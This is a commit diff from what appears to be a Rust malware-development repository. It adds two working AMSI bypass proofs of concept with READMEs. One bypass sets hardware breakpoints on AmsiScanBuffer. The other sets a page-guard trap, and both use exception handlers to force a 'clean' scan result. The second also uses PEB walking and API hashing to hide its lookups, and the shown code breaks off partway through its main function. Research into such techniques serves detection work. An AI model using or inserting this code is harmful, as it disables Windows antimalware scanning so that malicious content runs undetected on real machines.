Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
This commit is contained in:
Whitecat18
2026-06-06 14:53:10 +05:30
commit 28e7fac1d3
627 changed files with 69448 additions and 0 deletions
+3
View File
@@ -0,0 +1,3 @@
[submodule "Early Cascade Injection/earlycascade-injection"]
path = Early Cascade Injection/earlycascade-injection
url = https://github.com/Whitecat18/earlycascade-injection.git
+1
View File
@@ -0,0 +1 @@
/target
+9
View File
@@ -0,0 +1,9 @@
[package]
name = "Amsi_HBP"
version = "0.1.0"
edition = "2021"
[dependencies]
thiserror = "2.0.12"
widestring = "1.2.0"
winapi = {version = "0.3.9", features = ["libloaderapi", "minwinbase", "errhandlingapi"] }
+106
View File
@@ -0,0 +1,106 @@
# AMSI Bypass Tool
## Overview
The AMSI Bypass Tool is a Rust program designed to demonstrate bypassing the Windows Antimalware Scan Interface (AMSI) by using hardware breakpoints to intercept and manipulate the `AmsiScanBuffer` function. This tool is intended for educational and research purposes only, to understand AMSI's behavior and potential vulnerabilities in a controlled environment.
## How It Works
### Purpose
AMSI is a Windows interface that allows applications (e.g., PowerShell, Windows Defender) to scan content for malicious code. The tool bypasses AMSI's scanning by intercepting calls to the `AmsiScanBuffer` function and forcing it to return a "clean" result (`AMSI_RESULT_CLEAN`), effectively preventing detection of malicious content.
### Key Components
1. **AMSI API Bindings**:
- The program defines external bindings to AMSI functions (`AmsiInitialize`, `AmsiScanBuffer`, etc.) to interact with the AMSI library (`amsi.dll`).
- These functions are used to initialize AMSI, open a session, and scan buffers.
2. **NT API Bindings**:
- Uses `NtGetContextThread` and `NtSetContextThread` to manipulate thread context for setting hardware breakpoints.
3. **AmsiContext Struct**:
- A Rust struct that encapsulates AMSI context and session management.
- Provides methods to initialize AMSI, scan buffers, and clean up resources when dropped.
4. **Hardware Breakpoints**:
- The bypass uses hardware breakpoints to trap execution when `AmsiScanBuffer` is called.
- Breakpoints are set on the address of `AmsiScanBuffer` using debug registers (`Dr0-Dr3`, `Dr7`).
- When triggered, the exception handler manipulates the execution context to skip the scan and return a clean result.
5. **Exception Handler**:
- A vectored exception handler catches single-step exceptions (`EXCEPTION_SINGLE_STEP`) triggered by the hardware breakpoint.
- It checks if the exception occurred at the `AmsiScanBuffer` address, then:
- Sets the scan result to `AMSI_RESULT_CLEAN`.
- Adjusts the instruction pointer (`Rip`) to the return address, skipping the scan.
- Modifies the stack and registers to simulate a successful function call.
- Clears the breakpoint to prevent further triggers.
6. **Bypass Setup**:
- The `setup_amsi_bypass` function:
- Loads `amsi.dll` and retrieves the address of `AmsiScanBuffer`.
- Registers the exception handler.
- Sets a hardware breakpoint on `AmsiScanBuffer` using the current thread's context.
7. **Test Function**:
- The `test_amsi_bypass` function tests the bypass by scanning a known malicious string (EICAR test string) before and after setting up the bypass.
- It prints whether AMSI detects the string as malicious and confirms if the bypass worked.
8. **Error Handling**:
- Uses the `thiserror` crate to define a custom `AmsiError` enum for robust error handling.
- Covers errors like failed library loading, invalid string conversions, and AMSI initialization failures.
### Workflow
1. **Initialization**:
- The program initializes an AMSI context with a test application name (`TestApp`).
- It opens an AMSI session for scanning.
2. **Pre-Bypass Test**:
- Scans the EICAR test string to verify that AMSI detects it as malicious.
3. **Bypass Setup**:
- Loads `amsi.dll`, retrieves the `AmsiScanBuffer` address, and sets a hardware breakpoint.
- Registers an exception handler to intercept `AmsiScanBuffer` calls.
4. **Post-Bypass Test**:
- Scans the same EICAR string again.
- The exception handler intercepts the `AmsiScanBuffer` call, sets the result to `AMSI_RESULT_CLEAN`, and skips the scan.
- The program confirms whether the bypass was successful.
5. **Pause for Debugging**:
- Includes a `pause` function to allow inspection of the process (e.g., using PE-SIEVE) for hooks or anomalies.
## Usage
1. **Prerequisites**:
- Rust compiler (`cargo`).
- Install dependencies: `winapi`, `widestring`, `thiserror`.
2. **Build**:
```powershell
cargo build --release
```
3. **Run**:
```powershell
cargo run --release
```
- The program will:
- Test AMSI scanning before and after the bypass.
- Print results to confirm whether the bypass worked.
- Pause for manual inspection (press Enter to continue).
## Limitations
- **Detection**: Some antivirus solutions may detect the use of hardware breakpoints or exception handlers.
- **Scope**: Only bypasses `AmsiScanBuffer` calls within the process.
- **Stability**: Manipulating thread contexts and debug registers can cause instability if not handled correctly.
## License
This project is licensed under the MIT License. See the `LICENSE` file for details.
## Credits / Reference
* https://www.cyberark.com/resources/threat-research-blog/amsi-bypass-redux
* https://www.trendmicro.com/en_in/research/22/l/detecting-windows-amsi-bypass-techniques.html
## Author
[@5mukx](https://github.com/5mukx)
+322
View File
@@ -0,0 +1,322 @@
/*
AMSI Bypass Tool
Author: @5mukx
*/
#![allow(non_snake_case, non_camel_case_types)]
use std::ffi::CString;
use std::ptr::null_mut;
use thiserror::Error;
use widestring::U16CString;
use winapi::ctypes::c_void;
use winapi::shared::{minwindef::ULONG, ntdef::HRESULT};
use winapi::um::{
errhandlingapi::AddVectoredExceptionHandler,
libloaderapi::{GetModuleHandleA, GetProcAddress, LoadLibraryA},
minwinbase::EXCEPTION_SINGLE_STEP,
winnt::{CONTEXT, CONTEXT_ALL, EXCEPTION_POINTERS, HANDLE, LONG},
};
use winapi::vc::excpt::{EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH};
// AMSI API bindings
#[link(name = "amsi")]
extern "system" {
fn AmsiInitialize(app_name: LPCWSTR, amsi_context: *mut HAMSICONTEXT) -> HRESULT;
fn AmsiUninitialize(amsi_context: HAMSICONTEXT);
fn AmsiOpenSession(amsi_context: HAMSICONTEXT, amsi_session: *mut HAMSISESSION) -> HRESULT;
fn AmsiCloseSession(amsi_context: HAMSICONTEXT, amsi_session: HAMSISESSION);
fn AmsiScanBuffer(
amsi_context: HAMSICONTEXT,
buffer: LPCVOID,
length: ULONG,
content_name: LPCWSTR,
session: HAMSISESSION,
result: *mut AMSI_RESULT,
) -> HRESULT;
}
// NT API bindings
extern "stdcall" {
fn NtGetContextThread(thread_handle: HANDLE, thread_context: *mut CONTEXT) -> ULONG;
fn NtSetContextThread(thread_handle: HANDLE, thread_context: *mut CONTEXT) -> ULONG;
}
type HAMSICONTEXT = *mut c_void;
type HAMSISESSION = *mut c_void;
type AMSI_RESULT = i32;
type LPCWSTR = *const u16;
type LPCVOID = *const c_void;
const S_OK: i32 = 0;
const AMSI_RESULT_CLEAN: i32 = 0;
// global state
static mut AMSI_SCAN_BUFFER_PTR: Option<*mut u8> = None;
// custom error type with thiserror ! Trying something new =)
#[derive(Error, Debug)]
enum AmsiError {
#[error("CString creation failed: {0}")]
CStringError(#[from] std::ffi::NulError),
#[error("U16CString creation failed: {0}")]
U16CStringError(#[from] widestring::error::ContainsNul<u16>),
#[error("Failed to load amsi.dll")]
LoadLibraryFailed,
#[error("Failed to get AmsiScanBuffer address")]
GetProcAddressFailed,
#[error("Failed to initialize AMSI: HRESULT {0}")]
AmsiInitFailed(i32),
#[error("Failed to open AMSI session")]
AmsiSessionFailed,
#[error("Failed to add vectored exception handler")]
ExceptionHandlerFailed,
#[error("Failed to get thread context: status {0}")]
GetContextFailed(ULONG),
#[error("Failed to set thread context: status {0}")]
SetContextFailed(ULONG),
#[error("I/O error: {0}")]
IoError(#[from] std::io::Error),
}
// bit manipulation
fn set_bits(dw: u64, low_bit: i32, bits: i32, new_value: u64) -> u64 {
let mask = (1 << bits) - 1;
(dw & !(mask << low_bit)) | (new_value << low_bit)
}
fn clear_breakpoint(ctx: &mut CONTEXT, index: i32) {
match index {
0 => ctx.Dr0 = 0,
1 => ctx.Dr1 = 0,
2 => ctx.Dr2 = 0,
3 => ctx.Dr3 = 0,
_ => {}
}
ctx.Dr7 = set_bits(ctx.Dr7, index * 2, 1, 0);
ctx.Dr6 = 0;
ctx.EFlags = 0;
}
// enable hardware breakpoint
fn enable_breakpoint(ctx: &mut CONTEXT, address: *mut u8, index: i32) {
match index {
0 => ctx.Dr0 = address as u64,
1 => ctx.Dr1 = address as u64,
2 => ctx.Dr2 = address as u64,
3 => ctx.Dr3 = address as u64,
_ => {}
}
ctx.Dr7 = set_bits(ctx.Dr7, 16, 16, 0);
ctx.Dr7 = set_bits(ctx.Dr7, index * 2, 1, 1);
ctx.Dr6 = 0;
}
// get argument from context
fn get_arg(ctx: &CONTEXT, index: i32) -> usize {
match index {
0 => ctx.Rcx as usize,
1 => ctx.Rdx as usize,
2 => ctx.R8 as usize,
3 => ctx.R9 as usize,
_ => unsafe { *((ctx.Rsp as *const u64).offset((index + 1) as isize) as *const usize) },
}
}
fn get_return_address(ctx: &CONTEXT) -> usize {
unsafe { *(ctx.Rsp as *const usize) }
}
fn set_result(ctx: &mut CONTEXT, result: usize) {
ctx.Rax = result as u64;
}
fn adjust_stack_pointer(ctx: &mut CONTEXT, amount: i32) {
ctx.Rsp = (ctx.Rsp as i64 + amount as i64) as u64;
}
fn set_ip(ctx: &mut CONTEXT, new_ip: usize) {
ctx.Rip = new_ip as u64;
}
unsafe extern "system" fn exception_handler(exceptions: *mut EXCEPTION_POINTERS) -> LONG {
let exception_record = unsafe { &*(*exceptions).ExceptionRecord };
let ctx = unsafe { &mut *(*exceptions).ContextRecord };
if exception_record.ExceptionCode == EXCEPTION_SINGLE_STEP
&& exception_record.ExceptionAddress as *mut u8 == AMSI_SCAN_BUFFER_PTR.unwrap()
{
println!(
"[i] AMSI Bypass invoked at address: {:?}",
exception_record.ExceptionAddress
);
let return_address = get_return_address(ctx);
let scan_result_ptr = get_arg(ctx, 5) as *mut i32;
unsafe { *scan_result_ptr = AMSI_RESULT_CLEAN };
set_ip(ctx, return_address);
adjust_stack_pointer(ctx, std::mem::size_of::<*mut u8>() as i32);
set_result(ctx, S_OK as usize);
clear_breakpoint(ctx, 0);
EXCEPTION_CONTINUE_EXECUTION
} else {
EXCEPTION_CONTINUE_SEARCH
}
}
struct AmsiContext {
context: HAMSICONTEXT,
session: HAMSISESSION,
}
impl AmsiContext {
fn new(app_name: &str) -> Result<Self, AmsiError> {
let app_name = U16CString::from_str(app_name).map_err(AmsiError::U16CStringError)?;
let mut context = null_mut();
let result = unsafe { AmsiInitialize(app_name.as_ptr(), &mut context) };
if result != S_OK {
return Err(AmsiError::AmsiInitFailed(result));
}
let mut session = null_mut();
if unsafe { AmsiOpenSession(context, &mut session) } != S_OK {
unsafe { AmsiUninitialize(context) };
return Err(AmsiError::AmsiSessionFailed);
}
Ok(AmsiContext { context, session })
}
fn scan_buffer(&self, buffer: &str, content_name: &str) -> Result<AMSI_RESULT, AmsiError> {
let content_name =
U16CString::from_str(content_name).map_err(AmsiError::U16CStringError)?;
let mut result = 0;
unsafe {
AmsiScanBuffer(
self.context,
buffer.as_ptr() as LPCVOID,
buffer.len() as ULONG,
content_name.as_ptr(),
self.session,
&mut result,
);
}
Ok(result)
}
}
impl Drop for AmsiContext {
fn drop(&mut self) {
unsafe {
AmsiCloseSession(self.context, self.session);
AmsiUninitialize(self.context);
}
}
}
// setup amsi bypass.
#[allow(static_mut_refs)]
fn setup_amsi_bypass() -> Result<*mut c_void, AmsiError> {
unsafe {
if AMSI_SCAN_BUFFER_PTR.is_none() {
let module_name = CString::new("amsi.dll").map_err(AmsiError::CStringError)?;
let module_handle = {
let handle = GetModuleHandleA(module_name.as_ptr());
if handle.is_null() {
LoadLibraryA(module_name.as_ptr())
} else {
handle
}
};
if module_handle.is_null() {
return Err(AmsiError::LoadLibraryFailed);
}
let function_name = CString::new("AmsiScanBuffer").map_err(AmsiError::CStringError)?;
let amsi_scan_buffer = GetProcAddress(module_handle, function_name.as_ptr());
if amsi_scan_buffer.is_null() {
return Err(AmsiError::GetProcAddressFailed);
}
AMSI_SCAN_BUFFER_PTR = Some(amsi_scan_buffer as *mut u8);
}
let h_ex_handler = AddVectoredExceptionHandler(1, Some(exception_handler));
if h_ex_handler.is_null() {
return Err(AmsiError::ExceptionHandlerFailed);
}
let mut thread_ctx: CONTEXT = std::mem::zeroed();
thread_ctx.ContextFlags = CONTEXT_ALL;
let status = NtGetContextThread(-2isize as HANDLE, &mut thread_ctx);
if status != 0 {
return Err(AmsiError::GetContextFailed(status));
}
enable_breakpoint(&mut thread_ctx, AMSI_SCAN_BUFFER_PTR.unwrap(), 0);
let status = NtSetContextThread(-2isize as HANDLE, &mut thread_ctx);
if status != 0 {
return Err(AmsiError::SetContextFailed(status));
}
Ok(h_ex_handler)
}
}
// sample test amsi bypass
fn test_amsi_bypass() -> Result<(), AmsiError> {
let amsi = AmsiContext::new("TestApp")?;
let test_string = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
let result_before = amsi.scan_buffer(test_string, "TestContent")?;
println!("[i] Result before bypass: {}", result_before);
println!(
"{}",
if result_before == AMSI_RESULT_CLEAN {
"[i] AMSI did not detect the string as malicious before bypass. Test might be invalid."
} else {
"[i] AMSI detected the string as malicious before bypass."
}
);
setup_amsi_bypass()?;
println!("[+] AMSI bypass successfully set up.");
let result_after = amsi.scan_buffer(test_string, "TestContent")?;
println!("[i] Result after bypass: {}", result_after);
println!(
"{}",
if result_after == AMSI_RESULT_CLEAN {
"[i] AMSI did not detect the string as malicious after bypass."
} else {
"[i] AMSI still detected the string as malicious after bypass. Bypass might not have worked."
}
);
Ok(())
}
// pause function for debugging
fn pause() -> Result<(), AmsiError> {
println!("[+] Scan the process with PE-SIEVE to check for any hooks in memory.");
let mut buf = String::new();
std::io::stdin()
.read_line(&mut buf)
.map_err(AmsiError::IoError)?;
Ok(())
}
fn main() {
match test_amsi_bypass() {
Ok(()) => {
println!("[+] Verification complete.");
if let Err(e) = pause() {
println!("Pause failed: {:?}", e);
}
}
Err(e) => println!("Error during verification: {:?}", e),
}
}
@@ -0,0 +1,38 @@
[package]
name = "Amsi_Page_Guard_Exceptions"
version = "0.1.0"
edition = "2024"
authors = ["5mukx", "smukx@5mukx.site"]
[dependencies]
dinvk = "0.4.2"
windows-targets = "0.53"
[dependencies.windows-sys]
version = "0.61.2"
features = [
"Win32_Foundation",
"Win32_Security",
"Win32_Globalization",
"Win32_System_Threading",
"Win32_UI_WindowsAndMessaging",
"Win32_System_Memory",
"Win32_System_Registry",
"Win32_System_Diagnostics_Debug",
"Win32_System_SystemServices",
"Win32_System_Environment",
"Win32_UI_Shell",
"Win32_System_LibraryLoader",
"Win32_System_SystemInformation",
"Win32_System_WindowsProgramming",
"Win32_System_Diagnostics_ToolHelp",
"Win32_UI_Input_KeyboardAndMouse",
"Win32_Storage_FileSystem",
"Win32_System_ProcessStatus",
"Win32_System_Kernel",
"Win32_System_IO",
"Win32_System_Diagnostics_ProcessSnapshotting",
"Wdk_Foundation",
"Wdk_System_SystemInformation",
]
@@ -0,0 +1,50 @@
# AMSI Page Guard Bypass (Rust PoC)
A patchless AMSI bypass that disables `AmsiScanBuffer` without modifying a single byte of `amsi.dll`.
## TL;DR
We turn the memory page containing `AmsiScanBuffer` into a **trap**. Any call to it raises a CPU exception *before the first instruction runs*. Our exception handler writes `AMSI_RESULT_CLEAN` into the caller's result variable, fakes a `ret`, and re-arms the trap for the next call.
## Usage
```sh
cargo r -r
```
Expected output:
```
[DEBUG] Starting AMSI bypass setup
[DEBUG] amsi.dll loaded at 0x7ffd...
[DEBUG] Found module base: 0x7ffd... (name hash: ...)
[DEBUG] Found API 'AmsiScanBuffer' (hash 0x...) at 0x7ffd...
[DEBUG] VEH added: 0x...
[DEBUG] Page guarded (old protect: 0x20)
[DEBUG] Testing bypass...
[DEBUG] Exception: 0x80000001 at 0x7ffd... ← guard-page violation
[DEBUG] Guard hit on AmsiScanBuffer! Patching...
[DEBUG] Patched result, returning to caller at 0x...
[DEBUG] Exception: 0x80000004 at 0x... ← single-step
[DEBUG] Re-guarded AmsiScanBuffer page (old: 0x20)
[TEST] AmsiScanBuffer called: HR=0x0, Result=0x0
[SUCCESS] Bypass works! Result forced to CLEAN
```
## The one critical gotcha
In the handler, arg 6 lives at `[Rsp+0x30]` — but it's a **pointer** to `AMSI_RESULT`, not the value. The fix is to **load** the pointer first, then dereference:
```rust
let stack = (*ctx).Rsp as *mut *mut c_void;
let p_amsi_result = *stack.add(6) as *mut AMSI_RESULT; // load, don't &
*p_amsi_result = AMSI_RESULT_CLEAN;
```
Writing to `stack.add(6)` directly only corrupts the stack slot — the caller's `result` variable is somewhere else entirely and never gets touched.
## Credits & References
- [shigshag — AMSI Page Guard](https://shigshag.com/blog/amsi_page_guard)
- Microsoft Docs — [Creating Guard Pages](https://learn.microsoft.com/en-us/windows/win32/memory/creating-guard-pages)
- AMSI — [`IAntimalwareProvider::Scan` / `AmsiScanBuffer`](https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer)
@@ -0,0 +1,133 @@
#![allow(non_camel_case_types)]
#![allow(non_snake_case)]
#![allow(dead_code)]
use std::ffi::c_void;
use std::fmt;
use std::ptr::null_mut;
use windows_sys::{
Wdk::Foundation::OBJECT_ATTRIBUTES,
Win32::Foundation::HANDLE,
Win32::Foundation::{NTSTATUS, UNICODE_STRING},
Win32::System::Diagnostics::Debug::EXCEPTION_POINTERS,
Win32::System::Memory::PAGE_PROTECTION_FLAGS,
};
use windows_targets::link;
// --- LARGE_INTEGER ---
#[repr(C)]
#[derive(Clone, Copy, Debug, Default)]
pub struct LARGE_INTEGER_s {
pub LowPart: u32,
pub HighPart: i32,
}
#[repr(C)]
#[derive(Clone, Copy, Debug, Default)]
pub struct LARGE_INTEGER_u {
pub LowPart: u32,
pub HighPart: i32,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub union LARGE_INTEGER {
pub _anonymous: i64,
pub s: LARGE_INTEGER_s,
pub u: LARGE_INTEGER_u,
pub QuadPart: i64,
}
impl fmt::Debug for LARGE_INTEGER {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
unsafe { write!(f, "{}", self.QuadPart) }
}
}
pub type PLARGE_INTEGER = *mut LARGE_INTEGER;
// --- ULARGE_INTEGER ---
#[repr(C)]
#[derive(Clone, Copy, Debug, Default)]
pub struct ULARGE_INTEGER_s {
pub LowPart: u32,
pub HighPart: u32,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub union ULARGE_INTEGER {
pub _anonymous: u64,
pub s: ULARGE_INTEGER_s,
pub u: ULARGE_INTEGER_s,
pub QuadPart: u64,
}
impl fmt::Debug for ULARGE_INTEGER {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
unsafe { write!(f, "{}", self.QuadPart) }
}
}
pub type PULARGE_INTEGER = *mut ULARGE_INTEGER;
pub type POBJECT_ATTRIBUTES = *mut OBJECT_ATTRIBUTES;
pub type PUNICODE_STRING = *mut UNICODE_STRING;
#[inline]
pub fn InitializeObjectAttributes(
p: POBJECT_ATTRIBUTES,
n: PUNICODE_STRING,
a: u32,
r: *mut core::ffi::c_void,
s: *mut core::ffi::c_void,
) {
use core::mem::size_of;
unsafe {
(*p).Length = size_of::<OBJECT_ATTRIBUTES>() as u32;
(*p).RootDirectory = r;
(*p).Attributes = a;
(*p).ObjectName = n;
(*p).SecurityDescriptor = s as _;
(*p).SecurityQualityOfService = null_mut();
}
}
pub const fn nt_success(nt_status: NTSTATUS) -> bool {
nt_status >= 0
}
pub type AMSI_RESULT = u32;
pub const fn c_hash(s: &str) -> u32 {
let mut hash = 0x811c9dc5u32;
let bytes = s.as_bytes();
let mut i = 0;
while i < bytes.len() {
hash ^= bytes[i] as u32;
hash = hash.wrapping_mul(0x01000193);
i += 1;
}
hash
}
pub const fn w_hash(s: &[u16]) -> u32 {
let mut hash = 0x811c9dc5u32;
let mut i = 0;
while i < s.len() {
hash ^= s[i] as u32;
hash = hash.wrapping_mul(0x01000193);
i += 1;
}
hash
}
type PVECTORED_EXCEPTION_HANDLER = extern "system" fn(*mut EXCEPTION_POINTERS) -> i32;
link!("ntdll.dll" "system" fn RtlAddVectoredExceptionHandler(First: u32, Handler: PVECTORED_EXCEPTION_HANDLER) -> *mut c_void);
link!("ntdll.dll" "system" fn RtlRemoveVectoredExceptionHandler(Handle: *mut c_void) -> u32);
link!("ntdll.dll" "system" fn NtProtectVirtualMemory(ProcessHandle: HANDLE, BaseAddress: *mut *mut c_void, NumberOfBytesToProtect: *mut usize, NewAccessProtection: PAGE_PROTECTION_FLAGS, OldAccessProtection: *mut PAGE_PROTECTION_FLAGS) -> NTSTATUS);
link!("ntdll.dll" "system" fn NtDelayExecution(Alertable: i32, DelayInterval: PLARGE_INTEGER) -> NTSTATUS);
@@ -0,0 +1,364 @@
// AMSI BYPASS USING PATCH GUARD...
use std::ffi::{CStr, c_void};
use std::mem::{offset_of, size_of};
use std::ptr::null_mut;
use std::sync::atomic::{AtomicU64, Ordering};
use windows_sys::Win32::Foundation::{HANDLE, STATUS_GUARD_PAGE_VIOLATION, STATUS_SINGLE_STEP};
use windows_sys::Win32::System::Diagnostics::Debug::{
EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH, EXCEPTION_POINTERS, IMAGE_NT_HEADERS64,
};
use windows_sys::Win32::System::LibraryLoader::LoadLibraryA;
use windows_sys::Win32::System::Memory::{PAGE_EXECUTE_READ, PAGE_GUARD};
static G_AMSI_SCAN_BUFFER: AtomicU64 = AtomicU64::new(0);
use windows_sys::Win32::System::SystemServices::{
IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_SIGNATURE,
};
use windows_sys::Win32::System::Threading::PEB;
use windows_sys::Win32::System::WindowsProgramming::LDR_DATA_TABLE_ENTRY;
use crate::func::{
AMSI_RESULT, LARGE_INTEGER, NtDelayExecution, NtProtectVirtualMemory, PLARGE_INTEGER,
RtlAddVectoredExceptionHandler, RtlRemoveVectoredExceptionHandler, c_hash, nt_success, w_hash,
};
use windows_sys::core::s;
mod func;
const AMSI_DLL_HASH: u32 = w_hash(&[
'a' as u16, 'm' as u16, 's' as u16, 'i' as u16, '.' as u16, 'd' as u16, 'l' as u16, 'l' as u16,
]);
const AMSI_SCAN_BUFFER_HASH: u32 = c_hash("AmsiScanBuffer");
const AMSI_RESULT_CLEAN: AMSI_RESULT = 0;
#[allow(unused_assignments)]
fn get_peb() -> *mut PEB {
unsafe {
let mut peb = null_mut::<PEB>();
core::arch::asm!(
"mov {0}, gs:[0x60]",
out(reg) peb,
);
peb
}
}
fn find_module(module_hash: u32) -> Option<u64> {
unsafe {
let peb = get_peb();
if peb.is_null() {
eprintln!("[DEBUG] PEB is null");
return None;
}
let ldr = (*peb).Ldr;
if ldr.is_null() {
eprintln!("[DEBUG] PEB.Ldr is null");
return None;
}
let list_head = &(*ldr).InMemoryOrderModuleList as *const _ as usize;
let mut link = (*ldr).InMemoryOrderModuleList.Flink;
while (link as usize) != list_head {
let entry = (link as usize - offset_of!(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks))
as *mut LDR_DATA_TABLE_ENTRY;
if entry.is_null() {
break;
}
let dll_base = (*entry).DllBase as u64;
// FullDllName = "C:\Windows\System32\amsi.dll". windows-sys redacts
// BaseDllName, so split off the basename ourselves and hash that.
let name = (*entry).FullDllName;
let name_len = name.Length as usize / 2;
let name_slice = if !name.Buffer.is_null() && name_len > 0 {
std::slice::from_raw_parts(name.Buffer, name_len)
} else {
&[]
};
let mut start = 0usize;
for i in (0..name_slice.len()).rev() {
if name_slice[i] == b'\\' as u16 || name_slice[i] == b'/' as u16 {
start = i + 1;
break;
}
}
let base = &name_slice[start..];
// Lowercase ASCII
let mut lower = [0u16; 256];
let n = base.len().min(lower.len());
for i in 0..n {
let c = base[i];
lower[i] = if c >= b'A' as u16 && c <= b'Z' as u16 {
c + 32
} else {
c
};
}
let name_hash = w_hash(&lower[..n]);
if name_hash == module_hash {
eprintln!(
"[DEBUG] Found module base: 0x{:x} (name hash: 0x{:x})",
dll_base, name_hash
);
return Some(dll_base);
}
link = (*link).Flink;
}
None
}
}
fn find_api(module_base: u64, api_hash: u32) -> Option<u64> {
let base_ptr = module_base as *mut u8;
unsafe {
let dos_header = &*(base_ptr as *const IMAGE_DOS_HEADER);
if dos_header.e_magic != IMAGE_DOS_SIGNATURE {
eprintln!("[DEBUG] Invalid DOS signature: 0x{:x}", dos_header.e_magic);
return None;
}
let nt_offset = dos_header.e_lfanew as usize;
let nt_headers = &*((base_ptr.add(nt_offset)) as *const IMAGE_NT_HEADERS64);
if nt_headers.Signature != IMAGE_NT_SIGNATURE {
eprintln!("[DEBUG] Invalid NT signature: 0x{:x}", nt_headers.Signature);
return None;
}
let export_rva = nt_headers.OptionalHeader.DataDirectory[0].VirtualAddress;
if export_rva == 0 {
eprintln!("[DEBUG] No export directory");
return None;
}
let export_dir = &*((base_ptr.add(export_rva as usize)) as *const IMAGE_EXPORT_DIRECTORY);
let names = base_ptr.add(export_dir.AddressOfNames as usize) as *const u32;
let functions = base_ptr.add(export_dir.AddressOfFunctions as usize) as *const u32;
let ordinals = base_ptr.add(export_dir.AddressOfNameOrdinals as usize) as *const u16;
for i in 0..export_dir.NumberOfNames as usize {
let name_rva = *names.add(i);
let name_ptr = base_ptr.add(name_rva as usize) as *const i8;
let cstr = CStr::from_ptr(name_ptr);
if let Ok(name_str) = cstr.to_str() {
let name_hash = c_hash(name_str);
if name_hash == api_hash {
let ordinal = *ordinals.add(i) as usize;
let func_rva = *functions.add(ordinal) as u64;
let api_addr = module_base + func_rva;
eprintln!(
"[DEBUG] Found API '{}' (hash 0x{:x}) at 0x{:x}",
name_str, api_hash, api_addr
);
return Some(api_addr);
}
}
}
eprintln!("[DEBUG] API hash 0x{:x} not found in exports", api_hash);
}
None
}
extern "system" fn vectored_exception_handler(exception_info: *mut EXCEPTION_POINTERS) -> i32 {
unsafe {
let exception_record = (*exception_info).ExceptionRecord;
let ex_code = (*exception_record).ExceptionCode;
let ex_addr = (*exception_record).ExceptionAddress as u64;
eprintln!("[DEBUG] Exception: 0x{:x} at 0x{:x}", ex_code, ex_addr);
let p_amsi_scan_buffer = G_AMSI_SCAN_BUFFER.load(Ordering::Relaxed);
if p_amsi_scan_buffer == 0 {
return EXCEPTION_CONTINUE_SEARCH;
}
if ex_code == STATUS_GUARD_PAGE_VIOLATION {
let ctx = (*exception_info).ContextRecord;
if ex_addr == p_amsi_scan_buffer {
eprintln!("[DEBUG] Guard hit on AmsiScanBuffer! Patching...");
// x64 Windows ABI on entry to AmsiScanBuffer:
// [Rsp+0x00] = return address
// [Rsp+0x08..0x20] = shadow space (home for RCX/RDX/R8/R9)
// [Rsp+0x28] = arg5 (HAMSISESSION amsiSession)
// [Rsp+0x30] = arg6 (AMSI_RESULT* result) <-- pointer, not the value
let stack = (*ctx).Rsp as *mut *mut c_void;
let ret_address = *stack;
// Load the pointer that the caller passed for `result`, then dereference it.
let p_amsi_result = *stack.add(6) as *mut AMSI_RESULT;
if !p_amsi_result.is_null() {
*p_amsi_result = AMSI_RESULT_CLEAN;
}
// Simulate `ret`: pop return address into RIP, advance RSP by 8.
(*ctx).Rsp += size_of::<*mut c_void>() as u64;
(*ctx).Rip = ret_address as u64;
(*ctx).Rax = 0; // S_OK
// Trap flag -> next instruction in the caller raises STATUS_SINGLE_STEP,
// giving us a chance to re-arm PAGE_GUARD (the kernel auto-cleared it).
(*ctx).EFlags |= 0x100;
eprintln!(
"[DEBUG] Patched result, returning to caller at 0x{:x}",
ret_address as u64
);
return EXCEPTION_CONTINUE_EXECUTION;
}
eprintln!(
"[DEBUG] Guard violation but not on AmsiScanBuffer (expected 0x{:x}, got 0x{:x})",
p_amsi_scan_buffer, ex_addr
);
(*ctx).EFlags |= 0x100;
return EXCEPTION_CONTINUE_EXECUTION;
}
if ex_code == STATUS_SINGLE_STEP {
let mut p_func = p_amsi_scan_buffer as *mut c_void;
let mut region_size: usize = 1;
let mut old_protect: u32 = 0;
let status = NtProtectVirtualMemory(
-1isize as HANDLE,
&mut p_func,
&mut region_size,
PAGE_EXECUTE_READ | PAGE_GUARD,
&mut old_protect,
);
if nt_success(status) {
eprintln!(
"[DEBUG] Re-guarded AmsiScanBuffer page (old: 0x{:x})",
old_protect
);
} else {
eprintln!("[DEBUG] Re-guard failed: 0x{:x}", status);
}
return EXCEPTION_CONTINUE_EXECUTION;
}
EXCEPTION_CONTINUE_SEARCH
}
}
#[allow(non_camel_case_types)]
fn test_amsi_bypass(_amsi_base: u64, p_amsi_scan_buffer: u64) -> bool {
unsafe {
let dummy_context: usize = 0;
let dummy_session: usize = 0;
let buffer = b"malicious payload\0" as *const u8 as *const c_void;
let length: usize = 17;
let content_name = b"test\0" as *const u8 as *const u16;
let mut result: AMSI_RESULT = 0xC0000005;
type AmsiScanBuffer_t = extern "system" fn(
usize, // HAMSICONTEXT
*const c_void,
usize, // length
*const u16,
usize, // HAMSISESSION
*mut AMSI_RESULT,
) -> i32; // HRESULT
let amsi_scan_fn: AmsiScanBuffer_t = std::mem::transmute(p_amsi_scan_buffer);
let hr = amsi_scan_fn(
dummy_context,
buffer,
length,
content_name,
dummy_session,
&mut result,
);
eprintln!(
"[TEST] AmsiScanBuffer called: HR=0x{:x}, Result=0x{:x}",
hr, result
);
(hr >= 0) && (result == AMSI_RESULT_CLEAN)
}
}
fn main() {
eprintln!("[DEBUG] Starting AMSI bypass setup");
let h_amsi = unsafe { LoadLibraryA(s!("amsi.dll")) };
if h_amsi.is_null() {
eprintln!("[ERROR] LoadLibraryA(amsi.dll) failed");
return;
}
eprintln!("[DEBUG] amsi.dll loaded at {:p}", h_amsi);
let amsi_base = match find_module(AMSI_DLL_HASH) {
Some(b) => b,
None => {
eprintln!("[ERROR] amsi.dll not found in PEB after LoadLibrary");
return;
}
};
